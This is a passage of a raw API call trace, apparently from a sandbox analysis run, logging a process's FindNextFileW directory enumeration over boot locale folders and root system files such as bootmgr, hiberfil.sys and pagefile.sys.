ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6fb, dwReserved1=0xffffbb03, cFileName="es-MX", cAlternateFileName="")) returned 1 [0245.634] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x39e1020 | out: hHeap=0x520000) returned 1 [0245.634] FindNextFileW (in: hFindFile=0x53a7d8, lpFindFileData=0x312fa7c | out: lpFindFileData=0x312fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6fb, dwReserved1=0xffffbb03, cFileName="et-EE", cAlternateFileName="")) returned 1 [0245.635] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x39e1020 | out: hHeap=0x520000) returned 1 [0245.635] FindNextFileW (in: hFindFile=0x53a7d8, lpFindFileData=0x312fa7c | out: lpFindFileData=0x312fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6fb, dwReserved1=0xffffbb03, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0245.635] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x39e1020 | out: hHeap=0x520000) returned 1 [0245.635] FindNextFileW (in: hFindFile=0x53a7d8, lpFindFileData=0x312fa7c | out: lpFindFileData=0x312fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6fb, dwReserved1=0xffffbb03, cFileName="Fonts", cAlternateFileName="")) returned 1 [0245.636] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x39e1020 | out: hHeap=0x520000) returned 1 [0245.636] FindNextFileW (in: hFindFile=0x53a7d8, lpFindFileData=0x312fa7c | out: lpFindFileData=0x312fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6fb, dwReserved1=0xffffbb03, cFileName="fr-CA", cAlternateFileName="")) returned 1 [0245.636] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x39e1020 | out: hHeap=0x520000) returned 1 [0245.636] FindNextFileW (in: hFindFile=0x53a7d8, lpFindFileData=0x312fa7c | out: lpFindFileData=0x312fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6fb, dwReserved1=0xffffbb03, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0245.637] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x39e1020 | out: hHeap=0x520000) returned 1 [0245.637] FindNextFileW (in: hFindFile=0x53a7d8, lpFindFileData=0x312fa7c | out: lpFindFileData=0x312fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6fb, dwReserved1=0xffffbb03, cFileName="hr-HR", cAlternateFileName="")) returned 1 [0245.637] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x39e1020 | out: hHeap=0x520000) returned 1 [0245.637] FindNextFileW (in: hFindFile=0x53a7d8, lpFindFileData=0x312fa7c | out: lpFindFileData=0x312fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6fb, dwReserved1=0xffffbb03, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0245.637] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x39e1020 | out: hHeap=0x520000) returned 1 [0245.637] FindNextFileW (in: hFindFile=0x53a7d8, lpFindFileData=0x312fa7c | out: lpFindFileData=0x312fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6fb, dwReserved1=0xffffbb03, cFileName="it-IT", cAlternateFileName="")) returned 1 [0245.637] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x39e1020 | out: hHeap=0x520000) returned 1 [0245.637] FindNextFileW (in: hFindFile=0x53a7d8, lpFindFileData=0x312fa7c | out: lpFindFileData=0x312fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6fb, dwReserved1=0xffffbb03, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0245.637] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x39e1020 | out: hHeap=0x520000) returned 1 [0245.637] FindNextFileW (in: hFindFile=0x53a7d8, lpFindFileData=0x312fa7c | out: lpFindFileData=0x312fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6fb, dwReserved1=0xffffbb03, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0245.638] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x39e1020 | out: hHeap=0x520000) returned 1 [0245.638] FindNextFileW (in: hFindFile=0x53a7d8, lpFindFileData=0x312fa7c | out: lpFindFileData=0x312fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6fb, dwReserved1=0xffffbb03, cFileName="lt-LT", cAlternateFileName="")) returned 1 [0245.638] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x39e1020 | out: hHeap=0x520000) returned 1 [0245.638] FindNextFileW (in: hFindFile=0x53a7d8, lpFindFileData=0x312fa7c | out: lpFindFileData=0x312fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6fb, dwReserved1=0xffffbb03, cFileName="lv-LV", cAlternateFileName="")) returned 1 [0245.638] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x39e1020 | out: hHeap=0x520000) returned 1 [0245.638] FindNextFileW (in: hFindFile=0x53a7d8, lpFindFileData=0x312fa7c | out: lpFindFileData=0x312fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6196d8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfbcf473f, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0xc63a0, dwReserved0=0x6fb, dwReserved1=0xffffbb03, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0245.638] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x39e1020 | out: hHeap=0x520000) returned 1 [0245.638] FindNextFileW (in: hFindFile=0x53a7d8, lpFindFileData=0x312fa7c | out: lpFindFileData=0x312fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6407cf, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6fb, dwReserved1=0xffffbb03, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0245.638] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x39e1020 | out: hHeap=0x520000) returned 1 [0245.638] FindNextFileW (in: hFindFile=0x53a7d8, lpFindFileData=0x312fa7c | out: lpFindFileData=0x312fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef65403a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6fb, dwReserved1=0xffffbb03, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0245.639] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x39e1020 | out: hHeap=0x520000) returned 1 [0245.639] FindNextFileW (in: hFindFile=0x53a7d8, lpFindFileData=0x312fa7c | out: lpFindFileData=0x312fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6678d6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6fb, dwReserved1=0xffffbb03, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0245.639] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x39e1020 | out: hHeap=0x520000) returned 1 [0245.639] FindNextFileW (in: hFindFile=0x53a7d8, lpFindFileData=0x312fa7c | out: lpFindFileData=0x312fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f167, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6714dc, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6fb, dwReserved1=0xffffbb03, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0245.639] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x39e1020 | out: hHeap=0x520000) returned 1 [0245.639] FindNextFileW (in: hFindFile=0x53a7d8, lpFindFileData=0x312fa7c | out: lpFindFileData=0x312fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f640, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef684d85, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6fb, dwReserved1=0xffffbb03, cFileName="qps-ploc", cAlternateFileName="")) returned 1 [0245.639] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x39e1020 | out: hHeap=0x520000) returned 1 [0245.639] FindNextFileW (in: hFindFile=0x53a7d8, lpFindFileData=0x312fa7c | out: lpFindFileData=0x312fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ab61e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9abff9, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6fb, dwReserved1=0xffffbb03, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 1 [0245.640] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4110058 | out: hHeap=0x520000) returned 1 [0245.640] FindNextFileW (in: hFindFile=0x53a218, lpFindFileData=0x312f800 | out: lpFindFileData=0x312f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0245.640] FindClose (in: hFindFile=0x53a218 | out: hFindFile=0x53a218) returned 1 [0245.640] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x39e1020 | out: hHeap=0x520000) returned 1 [0245.641] FindNextFileW (in: hFindFile=0x53a7d8, lpFindFileData=0x312fa7c | out: lpFindFileData=0x312fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6fb, dwReserved1=0xffffbb03, cFileName="ro-RO", cAlternateFileName="")) returned 1 [0245.641] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x39e1020 | out: hHeap=0x520000) returned 1 [0245.641] FindNextFileW (in: hFindFile=0x53a7d8, lpFindFileData=0x312fa7c | out: lpFindFileData=0x312fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef698608, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6fb, dwReserved1=0xffffbb03, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0245.641] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x39e1020 | out: hHeap=0x520000) returned 1 [0245.641] FindNextFileW (in: hFindFile=0x53a7d8, lpFindFileData=0x312fa7c | out: lpFindFileData=0x312fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6fb, dwReserved1=0xffffbb03, cFileName="sk-SK", cAlternateFileName="")) returned 1 [0245.641] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x39e1020 | out: hHeap=0x520000) returned 1 [0245.641] FindNextFileW (in: hFindFile=0x53a7d8, lpFindFileData=0x312fa7c | out: lpFindFileData=0x312fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6fb, dwReserved1=0xffffbb03, cFileName="sl-SI", cAlternateFileName="")) returned 1 [0245.642] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x39e1020 | out: hHeap=0x520000) returned 1 [0245.642] FindNextFileW (in: hFindFile=0x53a7d8, lpFindFileData=0x312fa7c | out: lpFindFileData=0x312fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0x5168548b, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6fb, dwReserved1=0xffffbb03, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1 [0245.642] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x39e1020 | out: hHeap=0x520000) returned 1 [0245.642] FindNextFileW (in: hFindFile=0x53a7d8, lpFindFileData=0x312fa7c | out: lpFindFileData=0x312fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6fb, dwReserved1=0xffffbb03, cFileName="sr-Latn-RS", cAlternateFileName="SR-LAT~2")) returned 1 [0245.642] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x39e1020 | out: hHeap=0x520000) returned 1 [0245.642] FindNextFileW (in: hFindFile=0x53a7d8, lpFindFileData=0x312fa7c | out: lpFindFileData=0x312fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01adf43, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6a2250, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6fb, dwReserved1=0xffffbb03, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0245.642] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x39e1020 | out: hHeap=0x520000) returned 1 [0245.642] FindNextFileW (in: hFindFile=0x53a7d8, lpFindFileData=0x312fa7c | out: lpFindFileData=0x312fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206504, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6b5aca, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6fb, dwReserved1=0xffffbb03, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0245.642] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x39e1020 | out: hHeap=0x520000) returned 1 [0245.642] FindNextFileW (in: hFindFile=0x53a7d8, lpFindFileData=0x312fa7c | out: lpFindFileData=0x312fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206a30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6fb, dwReserved1=0xffffbb03, cFileName="uk-UA", cAlternateFileName="")) returned 1 [0245.642] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x39e1020 | out: hHeap=0x520000) returned 1 [0245.643] FindNextFileW (in: hFindFile=0x53a7d8, lpFindFileData=0x312fa7c | out: lpFindFileData=0x312fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef6c9427, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef6c9427, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1236, dwReserved0=0x6fb, dwReserved1=0xffffbb03, cFileName="updaterevokesipolicy.p7b", cAlternateFileName="UPDATE~1.P7B")) returned 1 [0245.643] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x39e1020 | out: hHeap=0x520000) returned 1 [0245.643] FindNextFileW (in: hFindFile=0x53a7d8, lpFindFileData=0x312fa7c | out: lpFindFileData=0x312fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207675, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x518ea25e, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6fb, dwReserved1=0xffffbb03, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0245.643] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x39e1020 | out: hHeap=0x520000) returned 1 [0245.643] FindNextFileW (in: hFindFile=0x53a7d8, lpFindFileData=0x312fa7c | out: lpFindFileData=0x312fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6fb, dwReserved1=0xffffbb03, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0245.643] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x39e1020 | out: hHeap=0x520000) returned 1 [0245.643] FindNextFileW (in: hFindFile=0x53a7d8, lpFindFileData=0x312fa7c | out: lpFindFileData=0x312fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6fb, dwReserved1=0xffffbb03, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0245.643] FindClose (in: hFindFile=0x53a7d8 | out: hFindFile=0x53a7d8) returned 1 [0245.643] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x39d1018 | out: hHeap=0x520000) returned 1 [0245.644] FindNextFileW (in: hFindFile=0x53a1d8, lpFindFileData=0x312fcf8 | out: lpFindFileData=0x312fcf8*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xe47a48a8, ftCreationTime.dwHighDateTime=0x1d112ea, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfb90936b, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0x607da, dwReserved0=0x77000000, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0245.644] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x39d1018 | out: hHeap=0x520000) returned 1 [0245.644] FindNextFileW (in: hFindFile=0x53a1d8, lpFindFileData=0x312fcf8 | out: lpFindFileData=0x312fcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ESD", cAlternateFileName="")) returned 1 [0245.644] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x39d1018 | out: hHeap=0x520000) returned 1 [0245.644] FindNextFileW (in: hFindFile=0x53a1d8, lpFindFileData=0x312fcf8 | out: lpFindFileData=0x312fcf8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x7ef2dddf, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x7ef2dddf, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xbb1f47e8, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x332fe000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0245.726] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x39d1018 | out: hHeap=0x520000) returned 1 [0245.726] FindNextFileW (in: hFindFile=0x53a1d8, lpFindFileData=0x312fcf8 | out: lpFindFileData=0x312fcf8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6e97b025, ftCreationTime.dwHighDateTime=0x1d3275c, ftLastAccessTime.dwLowDateTime=0x6e97b025, ftLastAccessTime.dwHighDateTime=0x1d3275c, ftLastWriteTime.dwLowDateTime=0xbcd95dc8, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x28000000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0245.726] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x39d1018 | out: hHeap=0x520000) returned 1 [0245.726] FindNextFileW (in: hFindFile=0x53a1d8, lpFindFileData=0x312fcf8 | out: lpFindFileData=0x312fcf8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1d0a4a01, ftLastAccessTime.dwHighDateTime=0x1d63332, ftLastWriteTime.dwLowDateTime=0x1d0a4a01, ftLastWriteTime.dwHighDateTime=0x1d63332, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0245.727] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4110058 | out: hHeap=0x520000) returned 1 [0245.727] FindNextFileW (in: hFindFile=0x60e970, lpFindFileData=0x312f800 | out: lpFindFileData=0x312f800*(dwFileAttributes=0x20, 